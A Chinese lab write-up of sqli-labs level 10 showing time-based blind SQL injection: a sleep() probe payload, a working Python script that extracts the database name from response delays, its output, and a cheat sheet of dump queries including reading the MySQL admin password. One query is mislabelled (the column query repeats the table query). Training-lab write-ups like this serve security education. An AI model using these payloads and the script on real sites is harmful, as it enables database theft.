不知道为什么我用一句话木马上传的bool盲注都不行,想着能用sqlmap实现1-9,所以直接开了10
sqli-libs10是一个时间盲注
WP说选择时间盲注是因为
1 2 3 4 5 6 7 页面无显示位,不适合联合注入; 页面不显示数据库的报错信息,不适合报错注入; 查询的正确和错误不会影响页面的响应(后台写死了,只返回You are in...........),不适合布尔盲注; 综上所述,尝试使用时间盲注。
首先
1 ?id=1" and if(1,sleep(5),3) -- a
页面响应超过5秒,确定存在时间盲注
然后采用Python自动化脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests import time # 将url 替换成你的靶场关卡网址 # 修改两个对应的payload # 目标网址(不带参数) url = "“ # 猜解长度使用的payload payload_len = """?id=1" and if( (length( (database()) ) ={n}) ,sleep(5),3) -- a""" # 枚举字符使用的payload payload_str = """?id=1" and if( (ascii( substr( (database()) ,{n},1) ) ={r}) ,sleep(5),3) -- a""" # 获取长度 def getLength(url, payload): length = 1 # 初始测试长度为1 while True: start_time = time.time() response = requests.get(url= url+payload_len.format(n= length)) # 页面响应时间 = 结束执行的时间 - 开始执行的时间 use_time = time.time() - start_time # 响应时间>5秒时,表示猜解成功 if use_time > 5: print('测试长度完成,长度为:', length,) return length; else: print('正在测试长度:',length) length += 1 # 测试长度递增 # 获取字符 def getStr(url, payload, length): str = '' # 初始表名/库名为空 # 第一层循环,截取每一个字符 for l in range(1, length+1): # 第二层循环,枚举截取字符的每一种可能性 for n in range(33, 126): start_time = time.time() response = requests.get(url= url+payload_str.format(n= l, r= n)) # 页面响应时间 = 结束执行的时间 - 开始执行的时间 use_time = time.time() - start_time # 页面中出现此内容则表示成功 if use_time > 5: str+= chr(n) print('第', l, '个字符猜解成功:', str) break; return str; # 开始猜解 length = getLength(url, payload_len) getStr(url, payload_str, length)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 正在测试长度: 1 正在测试长度: 2 正在测试长度: 3 正在测试长度: 4 正在测试长度: 5 正在测试长度: 6 正在测试长度: 7 测试长度完成,长度为: 8 第 1 个字符猜解成功: s 第 2 个字符猜解成功: se 第 3 个字符猜解成功: sec 第 4 个字符猜解成功: secu 第 5 个字符猜解成功: secur 第 6 个字符猜解成功: securi 第 7 个字符猜解成功: securit 第 8 个字符猜解成功: security
然后就知道在security库里面
P.S.
脱库常用SQL指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 获取所有数据库 (select group_concat(schema_name) from information_schema.schemata) # 获取 security 库的所有表 (select group_concat(table_name) from information_schema.tables where table_schema="security") # 获取 users 表的所有字段 (select group_concat(table_name) from information_schema.tables where table_schema="security") # 获取数据库管理员的密码 (select password from mysql.user where user="mituan")
需要的时候直接将Python脚本中的payload改了就行
用sqlmap 上来直接指定level2
其余的跟之前的一样,这里就不过多重复了